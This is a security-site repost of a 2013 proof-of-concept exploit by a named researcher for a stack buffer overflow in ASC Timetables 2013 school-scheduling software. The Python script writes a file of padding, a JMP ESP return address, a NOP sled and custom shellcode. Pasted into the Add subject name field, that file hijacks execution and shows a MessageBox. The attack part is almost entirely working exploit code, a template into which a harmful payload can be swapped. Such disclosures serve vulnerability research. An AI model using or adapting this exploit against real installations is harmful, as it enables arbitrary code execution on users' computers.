首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ASC Timetables 2013 - Stack Buffer Overflow Vulnerability
来源:http://itsecurity.ma 作者:Dark-Puzzle 发布时间:2013-06-24  
#!/usr/bin/python
# Title                         : ASC Timetables 2013 - Stack Buffer Overflow Vulnerability
# Researcher            : Souhail Hammou (Dark-Puzzle)
# Research Team         : http://itsecurity.ma
# Facebook                      : http://www.facebook.com/dark.puzzle.sec
# Date                          : 22/06/2013
# Download Website      : www.asctimetables.com/download_en.html
##########################################################
# Software Details :
# ASC timetables is a school scheduling software used widely by many schools around the globe to generate unique timetables for students.
# it has the features to add school subjects , teachers and manipulate time.
# Vulnerability details :
# The buffer overflow vulnerability resides in the Add subject functionality, and it's triggered when the user will submit a large string when specifying the 
#school subject name. To trigger the vulnerability go to the main menu , select subjects , click new then generate a string with the code below and the 
#software will execute the shellcode which will popup a MessageBox.
  
garbage = "D"*512
eip = "\xCB\xC0\x8F\x75" #JMP ESP from kernel32.dll
nopsled = "\x90"*177
shellcode = "\xB8\x23\x58\xA7\x11\x2D\x11\x11\x11\x11\x6A\x14\x50\x50\x33\xC0\x50\xB8\x98\x34\x69\x11\x2D\x11\x11\x11\x11\xFF\xE0"
# I have written this shellcode which will popup a "Yes/No" MessageBox with Title and Message : iteDump
#MOV EAX,11A75823
#SUB EAX,11111111
#PUSH 14
#PUSH EAX
#PUSH EAX
#XOR EAX,EAX
#PUSH EAX
#MOV EAX,11693498
#SUB EAX,11111111
#JMP EAX
ToInsert = open("file.txt", "w")
ToInsert.write(garbage+eip+nopsled+shellcode)
ToInsert.close()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeBSD 9.0 / 9.1 mmap/ptrace
·Mediacoder .m3u SEH Buffer Ove
·MusicBee 2.0.4663 (.M3U) - Den
·Mediacoder .lst SEH Buffer Ove
·TP-Link Print Server TL PS110U
·MediaCoder PMP Edition 0.8.17
·Havalite CMS Arbitary File Upl
·Novell Client 4.91 SP4 nwfs.sy
·FreeBSD mmap Privilege Escalat
·ZPanel 10.0.0.2 htpasswd Modul
·MoinMoin twikidraw Action Trav
·Sami FTP Server 2.0.1 RETR Den
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved